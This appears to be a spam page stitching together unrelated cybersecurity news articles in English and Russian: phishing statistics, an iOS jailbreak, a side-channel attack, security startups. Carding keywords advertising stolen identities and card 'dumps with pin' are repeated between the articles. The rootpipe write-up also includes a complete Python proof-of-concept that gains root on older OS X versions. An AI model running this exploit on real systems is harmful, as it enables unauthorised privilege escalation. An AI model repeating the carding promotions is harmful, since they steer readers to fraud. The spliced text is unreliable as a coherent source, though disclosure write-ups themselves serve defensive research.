A Matter of Integrity ssn dob dl fullz shop, free credit card dumps with pin

    Protecting information confidentiality, integrity, and availability is the mantra of the modern information system security professional. We know this as the CIA Triad. It is surprising to me that we don’t seem to fully support all three of these security services. Confidentiality is clearly important. We want to protect our assets from exposures. We exclaim the need for encryption and access control to prevent unauthorized access to sensitive information. We also understand the need for availability. A system which is unplugged, encased in concrete and stored in a vault might be secure, but it is not very useable or available. But, what can we say about integrity? I think insufficient attention is given to this most important service.
    The integrity service is apparent in a system when controls are in place which prevents unauthorized changes to information or the system. Unauthorized changes to information include undesired overwriting or deleting of important documents. Changes to system parameters include modification to configuration files, but is that all? I believe we should also consider any processes executing on a system to also be identified as a system parameter. Since most systems rely upon discretionary access control (DAC), processes executing in the context of a user could make any number of changes to the system according to their privileges. Given this line of thought, executing process becomes a factor regarding system integrity.
    Weaknesses in integrity can be used to circumvent controls protecting information confidentiality. Similarly, a lack of integrity can quickly lead to a loss of availability. This is frequently experienced in the presence of malware. Confidentiality and availability are voided in the presence of this type of unauthorized software. Spyware can steal keystrokes or files from a system. Trojans open backdoors and allow unauthorized access to a system in the context of an account compromised. Thus, a failure in integrity will, in many cases, cause a breach in confidentiality and availability.
    All malware exhibits itself, one way or another, through a thread of execution on a system. However, our tools at detecting malware have limitations. Anti-malware tools are only as good as their signature database or their ability to detect anomalous behavior. Given this position, our first line of defense against breaches to system integrity involves preventing the execution of unauthorized processes. Since we cannot always determine if a given process is malicious or not, we should simply stop those processes which are not authorized from executing at all. This would include all software which is not authorized and validated to run on the system. For instance, individuals should be prohibited from running executables, screensavers, or other tools which have not been previously validated by the security and/or operations staff.
    Part of that process involves the testing of new software for the system. Preventing the execution of unauthorized processes supports IT Governance laws and regulations. Thus, this should not be an issue for corporate and government agencies. Smaller organizations might have fewer regulations to worry about, but their operational risk of not enforcing system integrity will most certainly be elevated.
ssn dob dl fullz shop free credit card dumps with pin

В первом квартале 2020 года 13% фишинговых атак были связаны с COVID-19 – исследование Digital Russia dumps shop online, cvvs for sale

Эксперты Positive Technologies проанализировали кибератаки в первом квартале 2020 года и выяснили, что число киберинцидентов выросло более чем на 20% по сравнению с предыдущим кварталом, около 13% фишинговых атак были связаны с темой COVID-19 и всё больше операторов шифровальщиков требуют выкуп за неразглашение похищенной информации, сообщила компания во вторник.
По данным исследования, в I квартале 2020 года было выявлено на 22,5% больше кибератак, чем в IV квартале 2019 года. В течение квартала высокую активность проявляли 23 группировки, производящие сложные целенаправленные атаки на государственные учреждения, промышленные предприятия, финансовую отрасль и медицинские организации, сообщает компания.
Как показал анализ, более трети (34%) всех атак на юридические лица с использованием вредоносного программного обеспечения составили атаки троянов-шифровальщиков. Эксперты отмечают, что некоторые операторы шифровальщиков создали собственные сайты, на которых публикуют похищенные у жертв файлы в случае отказа платить выкуп. Каждая десятая атака шифровальщиков направлена против промышленности. В начале года внимание многих специалистов по кибербезопасности привлек новый шифровальщик Snake, который умеет удалять теневые копии и останавливать процессы, связанные с работой промышленных систем управления.
Специалисты отмечают, что опасность заражения вредоносным ПО растёт. Киберпреступники не ограничиваются одним типом вредоносного ПО: используют многофункциональные трояны либо загружают на скомпрометированные устройства целый «букет» из зловредов.
По сравнению с последним кварталом прошлого года существенно выросла доля атак на госучреждения с использованием вредоносного ПО (81% против 66%) и методов социальной инженерии (79% против 66%). По мнению экспертов Positive Technologies, этому могла способствовать эпидемия нового коронавируса: многие злоумышленники рассылали в госучреждения разных стран письма с вредоносными вложениями на тему коронавирусной инфекции.
«Злоумышленники подхватили тему всеобщего беспокойства по поводу пандемии и стали использовать её для фишинговых писем, — отмечает аналитик Positive Technologies Яна Авезова. — По нашим подсчётам, около 13% всех фишинговых рассылок в I квартале были связаны с темой COVID-19, из них 44% пришлись на частных лиц, а каждая пятая рассылка была направлена на государственные организации».
«Рост числа фишинговых рассылок на тему COVID-19 наши эксперты фиксируют со второй половины января, — отмечает директор экспертного центра безопасности Positive Technologies (PT Expert Security Center) Алексей Новиков. — Эпидемией пользовались как для проведения массовых вредоносных кампаний, так и для сложных целенаправленных атак (APT-атак). Под видом официальной информации о статистике заражений, мерах профилактики и о вакцине, рассылаемой якобы от имени государственных органов и медицинских учреждений, в I квартале распространялось вредоносное ПО Emotet, Remcos, AZORult, Agent Tesla, LokiBot, TrickBot и множество других троянов. Рассылки писем с вредоносными вложениями на тему эпидемии проводили группы TA505, Hades, Mustang Panda, APT36, SongXY, а также южнокорейская группировка Higaisa».
dumps shop online cvvs for sale

Сирийские хакеры сообщили о ранении Барака Обамы bitcoincvv, cvv shop 2021

“В Белом доме сегодня прогремели два взрыва, президент США Барак Обама ранен. Об этом сообщило агентство AP на своей странице в социальной сети Twitter, – таков был текст сообщения одного из агентств, которое просто процитировало ужасающий текст из социальной сети. Коллега, зашедший в кабинет, побелел и сказал: “Сейчас начнется война”.
В Америке к этому времени близился к обеду рабочий день. Молниеносный поиск по сайтам ведущих американских СМИ не привел к результату. Наконец, к чести оперативно сработавших журналистов самого Associated Press, появилось сообщение о том, что появившееся в сообщение о взрывах в Белом доме оказалось ложным. Как сообщило агентство AP, его аккаунт в сети микроблогов Twitter был взломан хакерами. Чуть позже официальный представитель Белого дома Джей Карни, который как раз выступал на традиционном брифинге перед журналистами, заявил о том, что президент Барак Обама находится в полном здравии. “Я только что его видел”, – добавил Карни.
Доброго здравия и терпения пожелаем и мы главе Белого дома, который, много раз в своих выступлениях говорил о необходимости борьбы с киберпреступниками, обладающими самыми продвинутыми технологиями и, главное, не имеющими ни страха, ни совести. “Тролли” мирового компьютерного уровня сегодня уже парализуют деятельность крупнейших корпорации, как это происходило уже в этом году в Южной Корее. Хоронят мировых легенд, как в случае с Мариной Влади. Опережают самые “желтые газеты” в подаче сенсаций “вселенского уровня”, парализуя массовое сознание и при этом потирая руки.
Я не случайно упомянул о словах коллеги о “войне”. Обстановка в США сегодня крайне наэлектризована. Блоггеры сообщают о массовом психозе и истерии, в том числе, у политиков, который обычно наблюдается накануне чего-то страшного. Пхеньян с его ракетными угрозами “бомбить по Америке”, бесчисленные массовые расстрелы на улицах американских городов, наконец, бостонские теракты , которые, впервые в новейшей истории, поставили страну перед лицом новой угрозы – шахидов-одиночек, самостоятельно, без крыши террористических группировок, грозящих мстить Соединенным Штатам за “нападки на ислам”. И, как кульминация, этого – сообщение о ранении Обамы в Twitter, где каждый день общаются десятки миллионов американцев. Воистину, спичка оказалась поднесена к пороховой бочке.
Все эти случаи говорят о том, что мир должен объединиться перед вызовами нового времени. Кибератаки – это не сцены из голливудских фильмов, а реальность, которая по мере развития новых технологий взлома сетей, будет еще более страшной. Главное – воля мирового сообщества. Не жалеть сил и средств в новом мировом противостоянии. А иначе нельзя.   
bitcoincvv cvv shop 2021

Breaker, breaker. Apple’s iOS 12.4 update breaks jailbreak break, un-breaks the break. 10-4 cvv ru, buy fullz ssn

Institute For Ethical Hacking Course  and  Ethical Hacking Training in Pune – India
Extreme Hacking  |  Sadik Shaikh  |  Cyber Suraksha Abhiyan
Credits: The Register
iPhone hackers have discovered Apple’s most recent iOS update, 12.4, released in July, accidentally reopened a code-execution vulnerability that was previously patched – a vulnerability that can be abused to jail-break iThings.
Pwn20wnd, the developer of the iPhone jail-breaking tool unc0ver, says the newest version of their software, 3.5.2, successfully exploits the SockPuppet flaw on iOS 12.4 to unlock a fully patched up-to-date device from the walled garden of Apple’s App Store, thus allowing any third-party software, good and bad, to be installed and run.
The SockPuppet hole was found and reported to Apple in March by Googler Ned Williamson, and patched in May by the Cupertino giant with its iOS 12.2 release, locking out the jail-break tool. Then the iOS 12.4 release came along in late July, and broke that patch, allowing a slightly tweaked unc0ver to run as before.
So, basically, if you’re using iOS 12.3 or 12.2, update to iOS 12.4, and jail break your handset, if you so wish, or go ahead right now if you’re already running iOS 12.4. It’s not generally recommended for security reasons, though; be aware of the risks and benefits before diving in.
“It was a wild ride… I was utterly unprepared for something like this,” Pwn20wnd wrote. “I had to re-schedule almost everything to test this before release.”
And why is this of any importance to those who don’t jail-break their phones? The techniques used to jail-break handsets require some level of arbitrary code execution to succeed. It is understood government surveillance and phone unlocking tools can potentially use these types of code-execution flaws to carry out their snooping.
When an iOS update “breaks” a jail-break tool, it is usually because Apple has patched the vulnerability that was used to compromise the device. It seems that, in this case, one of those fixes has failed.
To put it another way, iOS 12.4, released on July 22, has apparently reopened an arbitrary code-execution flaw that Apple had previously patched as a security concern. And unc0ver, which can exploit that reopened hole, is open-source, so miscreants can find and reuse the exploit code needed to compromise a victim’s device via the flaw. It is also worth noting that this is the first time in years that jail-breakers have had a working exploit for the latest, fully-patched version of iOS.
The Register has asked Apple for comment on the matter, and has yet to hear back at the time of publication.
cvv ru buy fullz ssn

Just 8% of U.K. Firms Offer Regular Security Training underground dumps shop, 101 dumps with pin

Here, have a cookie! See our Privacy Policy to learn more.
A majority of UK businesses are failing to adequately train their remote working employees to spot security threats, according to new research from iomart.The cloud services company based its Cyber Security Insights Report on the views of 1167 UK workers at C-level, director, manager and employee level. It found that over a quarter (28%) of their employers offer no cybersecurity training for the distributed workforce, while a further 42% do but only to select employees.Of those who were offered training, 82% claimed that it was a short briefing rather than something more comprehensive. Less than a fifth (17%) said they had regular training sessions.That means, overall, just 8% of those surveyed receive regular security training.This comes at a time when threats are on the rise. A fifth (20%) of those surveyed reported seeing an increase in cyber-attacks as a result of working remotely.Cyber-criminals have been targeting remote workers with phishing emails often themed with COVID-19 lures, as well as vulnerabilities in VPN infrastructure and insecure RDP endpoints that can be easily brute-forced or their credentials bought off the dark web.The number of RDP ports exposed to the internet grew from three million to 4.5 million in the period from January to March 2020, according to McAfee research released in May. Bill Strain, security director at iomart, warned that organizations still aren’t placing security and data protection at the top of their priority list.“They need to understand what the potential threats are and build resilience into their business strategy so they can react quickly and maintain operations if their IT systems are compromised,” he urged.“Many businesses would not survive the operational — let alone financial — impact of a data breach. By understanding the potential risk and introducing positive behavior around cyber awareness, they have a much better chance of surviving an incident.”Remote workers are thought of as a potential cyber risk as many may be more distracted at home and likely to click through on phishing emails, whilst their devices may not be as well protected as corporate equivalents.
This is a cross-post with grateful acknowlegment to InfoSec Magazine. Full story here:https://www.infosecurity-magazine.com/news/just-8-of-firms-offer-regular/
Would your users fall for convincing phishing attacks? Take the first step now and find out before bad actors do. Plus, see how you stack up against your peers with phishing Industry Benchmarks. The Phish-prone percentage is usually higher than you expect and is great ammo to get budget.
 
underground dumps shop 101 dumps with pin

New Attack Lets Android Apps Capture Loudspeaker Data Without Any Permission dumps with pin 2021, carding dumps

Earlier this month, The Hacker News covered a story on research revealing how over 1300 Android apps are collecting sensitive data even when users have explicitly denied the required permissions.
The research was primarily focused on how app developers abuse multiple ways around to collect location data, phone identifiers, and MAC addresses of their users by exploiting both covert and side channels.
Now, a separate team of cybersecurity researchers has successfully demonstrated a new side-channel attack that could allow malicious apps to eavesdrop on the voice coming out of your smartphone’s loudspeakers without requiring any device permission.
Abusing Android Accelerometer to Capture Loudspeaker Data
Dubbed Spearphone, the newly demonstrated attack takes advantage of a hardware-based motion sensor, called an accelerometer, which comes built into most Android devices and can be unrestrictedly accessed by any app installed on a device even with zero permissions.
An accelerometer is a motion sensor that lets apps monitor the movement of a device, such as tilt, shake, rotation, or swing, by measuring the time rate of change of velocity with respect to magnitude or direction.
Since the built-in loudspeaker of a smartphone is placed on the same surface as the embedded motion sensors, it produces surface-borne and aerial speech reverberations in the body of the smartphone when loudspeaker mode is enabled.
Discovered by a team of security researchers—Abhishek Anand, Chen Wang, Jian Liu, Nitesh Saxena, Yingying Chen—the attack can be triggered when the victim either places a phone or video call on the speaker mode, or attempts to listen to a media file, or interacts with the smartphone assistant.
As a proof-of-concept, researchers created an Android app, which mimics the behavior of a malicious attacker, designed to record speech reverberations using the accelerometer and send captured data back to an attacker-controlled server.
Researchers say the remote attacker could then examine the captured readings, in an offline manner, using signal processing along with “off-the-shelf” machine learning techniques to reconstruct spoken words and extract relevant information about the intended victim.
Spearphone Attack: Spy On Calls, Voice Notes, and Multimedia
According to the researchers, the Spearphone attack can be used to learn about the contents of the audio played by the victim—selected from the device gallery over the Internet, or voice notes received over the instant messaging applications like WhatsApp.
“The proposed attack can eavesdrop on voice calls to compromise the speech privacy of a remote end-user in the call,” the researchers explain.
“Personal information such as social security number, birthday, age, credit card details, banking account details, etc. consist mostly of numerical digits. So, we believe that the limitation of our dataset size should not downplay the perceived threat level of our attack.”
Researchers also tested their attack against phone’s smart voice assistants, including Google Assistant and Samsung Bixby, and successfully captured response (output results) to a user query over the phone’s loudspeaker.
The researchers believe that by using known techniques and tools, their Spearphone attack has “significant value as it can be created by low-profile attackers.”
Besides this, Spearphone attack can also be used to simply determine some other user’s speech characteristics, including gender classification, with over 90% accuracy, and speaker identification, with over 80% accuracy.
“For example, an attacker can learn if a particular individual (a person of interest under surveillance by law enforcement) was in contact with the phone owner at a given time,” the researchers say.
Nitesh Saxena also confirmed The Hacker News that the attack can not be used to capture targeted users’ voice or their surroundings because “that is not strong enough to affect the phone’s motion sensors, especially given the low sampling rates imposed by the OS,” and thus also doesn’t interfere with the accelerometer readings.
For more details, we encourage our readers to head onto the full research paper [PDF], titled “Spearphone: A Speech Privacy Exploit via Accelerometer-Sensed Reverberations from Smartphone Loudspeakers.”
The paper also discussed some possible mitigation techniques that may help prevent such attacks, as well as a few limitations, including low sampling rate and variation in maximum volume and voice quality of different phone that could negatively impact the accelerometer readings.
In a previous report, we also explained how malware apps were found using motion-sensors of infected Android devices to avoid detection by monitoring if the device is running in a run emulator or belongs to a legitimate user with movements.
dumps with pin 2021 carding dumps

Скрытая уязвимость позволяет повышать привилегии в OS X cc shop online, buy credit card numbers with cvv

Как минимум с 2011 года в библиотеке административных функций OS X (Admin framework) есть брешь, позволяющая наделить любую учетную запись привилегиями суперпользователя. Уязвимость была найдена мной в 2014 году.
Суть проблемы
Как минимум с 2011 года в библиотеке административных функций OS X (Admin framework) есть брешь, позволяющая наделить любую учетную запись привилегиями суперпользователя. Уязвимость была найдена мной в 2014 году.
Вероятно, уязвимый функционал OS X планировался для работы с системными настройками и утилиты systemsetup, запускаемой из командной строки. Однако как выяснилось позже те же самые операции можно выполнять от имени любой учетной записи.
На данный момент выпущена новая версия OS X ( 10.10.3 ), где эта проблема решена. Однако более ранние версии OS X остаются уязвимыми, поскольку в компании Apple решили не выпускать обновления для старых релизов. Настоятельно рекомендуется обновить систему до версии 10.10.3.
Почему я начал поиск уязвимостей в OS X
Специалисты компании TrueSec выступают на IT-конференциях по всему миру. Я планировал выступление в ноябре 2014 года на одной из конференций по безопасности для разработчиков. К тому моменту у меня уже был богатый опыт по нахождению и демонстрации уязвимостей под iOS и Android.
Однако в этот раз многие участники конференции пользовались OS X, и мне захотелось показать, что эту операционную систему взломать ничуть не сложнее, чем iOS или Android. По сути, операционная система состоит из отдельных компонент и утилит, которые создают разработчики. Само собой, разработчики делают ошибки, которые являются причинами многих уязвимостей. Я хотел продемонстрировать, что программное обеспечение (даже созданное в компании Apple) содержит бреши, многие из которых еще предстоит обнаружить.
Демонстрационный пример
Первый мой эксплоит был на основе уязвимости CVE-2013-1775 . Брешь была связано с обходом аутентификации в sudo, которая была исправлена в версии 10.8.5 (в сентябре 2013 года). Эта задача не представляла особого интереса, поскольку эта уязвимость годовалой давности. Код, эксплуатирующий брешь, выглядит чрезвычайно просто:
Один из моих коллег отметил, что для модификации системного времени код эксплоита использует утилиту systemsetup. Затем нам захотелось узнать, как была исправлена уязвимость. После некоторых исследований выяснилось, что, помимо исправления sudo, в компании Apple внесли еще одно изменение. Теперь для запуска утилиты systemsetup требуются привилегии суперпользователя, даже если вы хотите прочитать справочную информацию. При запуске systemsetup без привилегий суперпользователя появляется следующее сообщение (начиная с версии 10.8.5):
$ systemsetup
You need administrator access to run this tool… exiting!
Это сообщение слегка обескураживает, поскольку мы запустили утилиту от имени администратора. По умолчанию все учетные записи, созданные во время установки OS X, наделяются правами администратора. Думаю, сей факт не особо заботит пользователей OS X, поскольку sudo и установка приложений требуют ввода пароля.
Теперь для запуска systemsetup недостаточно даже учетной записи администратора.
В дизассемблированной версии systemsetup (в Hopper) находим следующий участок кода:
Из рисунка выше видно, что функция проверяет, произошел ли запуск от имени суперпользователя.
После изменения инструкции sete на setne мы можем запускать systemsetup и от имени администратора:
$ systemsetup
> systemsetup
> type -help for help.
Однако наш успех нельзя называть ошеломляющим. Мы лишь откатились к предыдущей версии systemsetup. Одна из команд, которую можно выполнить при помощи systemsetup, выглядит так:
$ systemsetup –setremotelogin on
Команда выше делает доступным ssh-сервер на 22-м порту. Конечно, вы также можете запустить ssh через launchctl, но launchctl также будет требовать привилегий суперпользователя. Очевидно, что существует разница между нужными привилегиями! Имя класса RemoteServerSettings, которому принадлежит функция на Рисунке 1, говорит о том, что существует некоторое межпроцессорное взаимодействие. Сей факт мог бы объяснить, почему операции, требующие привилегий суперпользователя, могут быть выполнены. Однако следует упомянуть и о том, что SSH сервер можно запустить через System Preferences (Sharing) без использования учетной записи суперпользователя.
Расхождение между требуемыми привилегиями показалось мне интересным, и я продолжил изучение дизассемблированной версии systemsetup.
Команда setremotelogin реализована в systemsetup как метод с именем [ServerSettings setRemoteLogin:].
Эта функция проверяет входные данные, а затем вызывает метод [InternetServices setSSHServerEnabled:], находящийся в библиотеке административных функций (Admin framework), используемой systemsetup. После дизассемблирования интерфейса InternetServices выяснилось, что там находится не только метод setSSHServerEnabled, но и другие, предназначенные для запуска/остановки многих других служб. Ниже приведен список методов интерфейса InternetServices:
+[InternetServices sharedInternetServices]
+[InternetServices sharedInternetServices].sSharedInternetServices
-[InternetServices _netFSServerFrameworkBundle]
-[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundle
-[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundleOnce
-[InternetServices faxReceiveEnabled]
-[InternetServices ftpServerEnabled]
-[InternetServices httpdEnabled]
-[InternetServices isFTPServerAvailable]
-[InternetServices isFaxReceiveAvailable]
-[InternetServices isGuestForProtocolEnabled:]
-[InternetServices isHttpdAvailable]
-[InternetServices isNSCProtocolAvailable:]
-[InternetServices isNSCProtocolEnabled:]
-[InternetServices isNSServerShuttingDown:]
-[InternetServices isOpticalDiscSharingEnabled]
-[InternetServices isRemoteAEServerAvailable]
-[InternetServices isSSHServerAvailable]
-[InternetServices nscServerCancelShutdown:refNum:]
-[InternetServices nscServerShutdown:withDelay:]
-[InternetServices numberOfClientsForProtocols:]
-[InternetServices remoteAEServerEnabled]
-[InternetServices saveNatPrefs:]
-[InternetServices screensharingEnabled]
-[InternetServices sendSIGHUPToEfax]
-[InternetServices setFTPServerEnabled:]
-[InternetServices setFaxReceiveEnabled:]
-[InternetServices setGuestForProtocol:enabled:]
-[InternetServices setHttpdEnabled:]
-[InternetServices setInetDServiceEnabled:enabled:]
-[InternetServices setNSCProtocols:enabled:]
-[InternetServices setOpticalDiscSharingEnabled:]
-[InternetServices setRemoteAEServerEnabled:]
-[InternetServices setSSHServerEnabled:]
-[InternetServices setScreensharingEnabled:]
-[InternetServices sshServerEnabled]
_OBJC_CLASS_$_InternetServices
_OBJC_METACLASS_$_InternetServices
___47-[InternetServices _netFSServerFrameworkBundle]_block_invoke
Некоторые из вышеуказанных методов, например, setHttpdEnabled и setSSHServerEnabled, реализованы с использованием общего вспомогательного метода [ADMInternetServices setInetDServiceEnabled:enabled:].
Затем мое внимание привлек следующий участок кода:
Кажется, код на рисунке выше создает пользовательский файл конфигурации для гостевых учетных записей (обратите внимание, что владелец этого файла – суперпользователь):
$ ls -l /etc/apache2/users/
total 8
-rw-r–r– 1 root wheel 139 Apr 1 05:49 std.conf
Выявление новой уязвимости
На Рисунке 2 последний вызываемый метод – createFileWithContents:path:attributes:. На входе этот метод принимает массив байтов (информацию для записи), путь к файлу и атрибуты файла по стандарту POSIX.
Повторное использование функции createFileWithContents из моего кода выглядит примерно так:
[tool createFileWithContents:data
path:[NSString stringWithUTF8String:target]
attributes:@{ NSFilePosixPermissions : @0777 }];
Теперь нам нужно раздобыть ссылку на объект «tool». Код, находящийся в начале Рисунка 2, соответствует следующему:
id sharedClient =
[objc_lookUpClass(“WriteConfigClient”) sharedClient];
id tool = [sharedClient remoteProxy];
Неужели все настолько просто? Не совсем :). Но мы уже совсем близко. Я попытался выполнить этот трюк в собственном коде, но получил следующую ошибку:
### Attempt to send message without connection!
Теперь нужно найти, где выводится это сообщение:
Проверка выполняется на предмет инициализации XPC-прокси внутри моего процесса. Давайте посмотрим, где вызывается метод _onewayMessageDispatcher, и найдем код инициализации:
Инициализация происходит в методе authenticateUsingAuthorization:
Во время инициализации создается XPC-клиент для XPC-службы с именем writeconfig (которая работает от имени суперпользователя).
Остался выяснить, какой аргумент передать функции authenticateUsingAuthorization. Я вновь вернулся к дизассемблированному файлу и нашел следующий участок кода:
Глядя на рисунок выше, делаем предположение, что метод authorization может решить возникшую проблему. Обновленная версия эксплоита:
id auth = [objc_lookUpClass(“SFAuthorization”) authorization];
id sharedClient =
[objc_lookUpClass(“WriteConfigClient”) sharedClient];
[sharedClient authenticateUsingAuthorizationSync: auth];
id tool = [sharedClient remoteProxy];
[tool createFileWithContents:data
path:[NSString stringWithUTF8String:target]
attributes:@{ NSFilePosixPermissions : @04777 }];
Обратите внимание на то, что я использую функцию authenticateUsingAuthorizationSync (одна из разновидностей функции authenticateUsingAuthorization), а на файл устанавливаю права 4777. После выполнения кода создается файл и устанавливается бит setuid.
-rwsrwxrwx 1 root wheel 25960 Apr 1 19:29 rootpipe.tmp
Поскольку бит setuid установлен и владелец файла – суперпользователь, мы добились расширения привилегий.
Первая версия эксплоита работала на версиях 10.7.x и 10.8.x, где имена классов и методов немного отличаются. Версия эксплоита, продемонстрированная выше, предназначена для версий, начиная от 10.9 и выше.
Однако есть одно «но»: эксплоит работает на учетных записях с административными правами. Как я упоминал ранее, практически все учетные записи в OS X имеют административные права (поскольку в большинстве систем присутствует только один аккаунт). Перед отправкой отчета в компанию Apple, я попытался выполнить эксплоит на стандартной учетной записи (без административных прав) и получил следующую ошибку:
### authenticateUsingAuthorizationSync error:Error Domain=com.apple.systemadministration.authorization
Code=-60007 “The operation couldn’t be completed.
(com.apple.systemadministration.authorization error -60007.)”
Потом я модифицировал код так, что эксплоит стал работать от имени любой учетной записи. Вместо использования метода конструкции [SFAuthorization authorization], я передал пустой указатель (nil) в функцию authenticateUsingAuthorizationSync:
[sharedClient authenticateUsingAuthorizationSync: nil];
Кажется, проверка авторизации происходит при помощи вызова callback-функции, находящейся внутри объекта типа «auth». Небольшая задачка для тех, кто не владеет языком Objective-C. Что произойдет, если вызвать метод пустого объекта? (программисты могут попробовать отослать сообщение пустому объекту). Ответ: не произойдет ничего!
Заключение и рекомендации
В библиотеке административных функций (Admin framework) операционной системы OS X в течение нескольких лет был скрытый функционал, позволяющий получить права суперпользователя (по крайней мере, начиная с 2011 года, когда была выпущена версия 10.7). Вероятно, эти функции предназначались для обслуживания системных настроек (System Preferences) и утилиты systemsetup. Однако к этим функциям можно получить доступ (через XPC) из любого процесса.
Этот метод позволяет локально расширить привилегии. Уязвимые функции можно использовать в сочетании с эксплоитами с удаленным исполнением кода.
В компании Apple заявили, что исправление потребует серьезных переработок и не будет адаптировано для версий 10.9.x и ниже.
Рекомендация всем пользователям OS X – обновиться до версии 10.10.3 (или старше).
Дальнейшие планы
28-го мая 2015 года на конференции по безопасности в Стокгольме я буду в деталях рассказывать об уязвимости rootpipe. В режиме реального времени вы увидите, как злоумышленники находят уязвимости в коде, даже когда в наличии есть только бинарные файлы. Мои коллеги расскажут о других фишках, которые необходимо знать разработчикам. В основном будут описаны техники по написанию безопасного кода.
Хронология развития событий
· 2-е октября 2014 года: обнаружена уязвимость.
· 3-е октября 2014 года: первые контакты с сотрудниками, отвечающими за безопасность продуктов в компании Apple (Apple Product Security Team).
· 14-е октября 2014 года: сотрудникам компании Apple продемонстрирован код эксплоита.
· 24-е октября: обнародование информации для широкой общественности назначено на 12-е января 2015 года.
· 16-е октября 2014 года: компания Apple выпустила OS X 10.10 Yosemite, все еще содержащую уязвимость rootpipe.
· 14-е ноября 2014 года: компания Apple попросила отложить обнародование информации.
· 17-е ноября 2014 года: версия OS X 10.10.1 все еще уязвима.
· 12-е января 2015 года: состоялась дискуссия между Apple и TrueSec на предмет того, чтобы еще раз перенести дату публикации уязвимости (из-за объема необходимых изменений в OS X).
· 16-е января 2015 года: вышел в свет CVE-2015-1130.
· 27-е января 2015 года: релиз OS X 10.10.2 все еще уязвим.
· 2-е марта 2015 года: в публичном бета-релизе OS X 10.10.3 уязвимость устранена.
· 1-е апреля 2015 года: в компании Apple подтвердили, что новый релиз выйдет на второй неделе апреля.
· 8-е апреля 2015 года: вышел релиз OS X 10.10.3.
· 9-е апреля 2015 года: полное раскрытие информации об уязвимости.
Полная версия экспоита
########################################################
#
# PoC exploit code for rootpipe (CVE-2015-1130)
#
# Created by Emil Kvarnhammar, TrueSec
#
# Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
#
########################################################
import os
import sys
import platform
import re
import ctypes
import objc
import sys
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
from Foundation import NSAutoreleasePool
def load_lib(append_path):
return ctypes.cdll.LoadLibrary(“/System/Library/PrivateFrameworks/” + append_path);
def use_old_api():
return re.match(“^(10.7|10.8)(.\d)?$”, platform.mac_ver()[0])
args = sys.argv
if len(args) != 3:
print “usage: exploit.py source_binary dest_binary_as_root”
sys.exit(-1)
source_binary = args[1]
dest_binary = os.path.realpath(args[2])
if not os.path.exists(source_binary):
raise Exception(“file does not exist!”)
pool = NSAutoreleasePool.alloc().init()
attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)
print “will write file”, dest_binary
if use_old_api():
adm_lib = load_lib(“/Admin.framework/Admin”)
Authenticator = objc.lookUpClass(“Authenticator”)
ToolLiaison = objc.lookUpClass(“ToolLiaison”)
SFAuthorization = objc.lookUpClass(“SFAuthorization”)
authent = Authenticator.sharedAuthenticator()
authref = SFAuthorization.authorization()
# authref with value nil is not accepted on OS X <= 10.8
authent.authenticateUsingAuthorizationSync_(authref)
st = ToolLiaison.sharedToolLiaison()
tool = st.tool()
tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
else:
adm_lib = load_lib(“/SystemAdministration.framework/SystemAdministration”)
WriteConfigClient = objc.lookUpClass(“WriteConfigClient”)
client = WriteConfigClient.sharedClient()
client.authenticateUsingAuthorizationSync_(None)
tool = client.remoteProxy()
tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
print “Done!”
del pool
В статье мы расскажем о наиболее интересных стартапах в области кибербезопасности, на которые следует обратить внимание.
Хотите узнать, что происходит нового в сфере кибербезопасности, – обращайте внимание на стартапы, относящиеся к данной области. Стартапы начинаются с инновационной идеи и не ограничиваются стандартными решениями и основным подходом. Зачастую стартапы справляются с проблемами, которые больше никто не может решить.
Обратной стороной стартапов, конечно же, нехватка ресурсов и зрелости. Выбор продукта или платформы стартапа – это риск, требующий особых отношений между заказчиком и поставщиком . Однако, в случае успеха компания может получить конкурентное преимущество или снизить нагрузку на ресурсы безопасности.
Ниже приведены наиболее интересные стартапы (компании, основанные или вышедшие из «скрытого режима» за последние два года).
Компания Abnormal Security, основанная в 2019 году, предлагает облачную платформу безопасности электронной почты, которая использует анализ поведенческих данных для выявления и предотвращения атак на электронную почту. Платформа на базе искусственного интеллекта анализирует поведение пользовательских данных, организационную структуру, отношения и бизнес-процессы, чтобы выявить аномальную активность, которая может указывать на кибератаку. Платформа защиты электронной почты Abnormal может предотвратить компрометацию корпоративной электронной почты, атаки на цепочку поставок , мошенничество со счетами, фишинг учетных данных и компрометацию учетной записи электронной почты. Компания также предоставляет инструменты для автоматизации реагирования на инциденты, а платформа дает облачный API для интеграции с корпоративными платформами, такими как Microsoft Office 365, G Suite и Slack.
Копания Apiiro вышла из «скрытого режима» в 2020 году. Ее платформа devsecops переводит жизненный цикл безопасной разработки «от ручного и периодического подхода «разработчики в последнюю очередь» к автоматическому подходу, основанному на оценке риска, «разработчики в первую очередь», написал в блоге соучредитель и генеральный директор Идан Плотник . Платформа Apiiro работает, соединяя все локальные и облачные системы управления версиями и билетами через API. Платформа также предоставляет настраиваемые предопределенные правила управления кодом. Со временем платформа создает инвентарь, «изучая» все продукты, проекты и репозитории. Эти данные позволяют лучше идентифицировать рискованные изменения кода.
Axis Security Application Access Cloud – облачное решение для доступа к приложениям , построенное на принципе нулевого доверия. Он не полагается на наличие агентов, установленных на пользовательских устройствах. Поэтому организации могут подключать пользователей – локальных и удаленных – на любом устройстве к частным приложениям, не затрагивая сеть или сами приложения. Axis вышла из «скрытого режима» в 2020 году.
BreachQuest, вышедшая из «скрытого режима» 25 августа 2021 года, предлагает платформу реагирования на инциденты под названием Priori. Платформа обеспечивает большую наглядность за счет постоянного отслеживания вредоносной активности. Компания утверждает, что Priori может предоставить мгновенную информацию об атаке и о том, какие конечные точки скомпрометированы после обнаружения угрозы.
Cloudrise предоставляет услуги управляемой защиты данных и автоматизации безопасности в формате SaaS. Несмотря на свое название, Cloudrise защищает как облачные, так и локальные данные. Компания утверждает, что может интегрировать защиту данных в проекты цифровой трансформации. Cloudrise автоматизирует рабочие процессы с помощью решений для защиты данных и конфиденциальности. Компания Cloudrise была запущена в октябре 2019 года.
Cylentium утверждает, что ее технология кибер-невидимости может «скрыть» корпоративную или домашнюю сеть и любое подключенное к ней устройство от обнаружения злоумышленниками. Компания называет эту концепцию «нулевой идентичностью». Компания продает свою продукцию предприятиям, потребителям и государственному сектору. Cylentium была запущена в 2020 году.
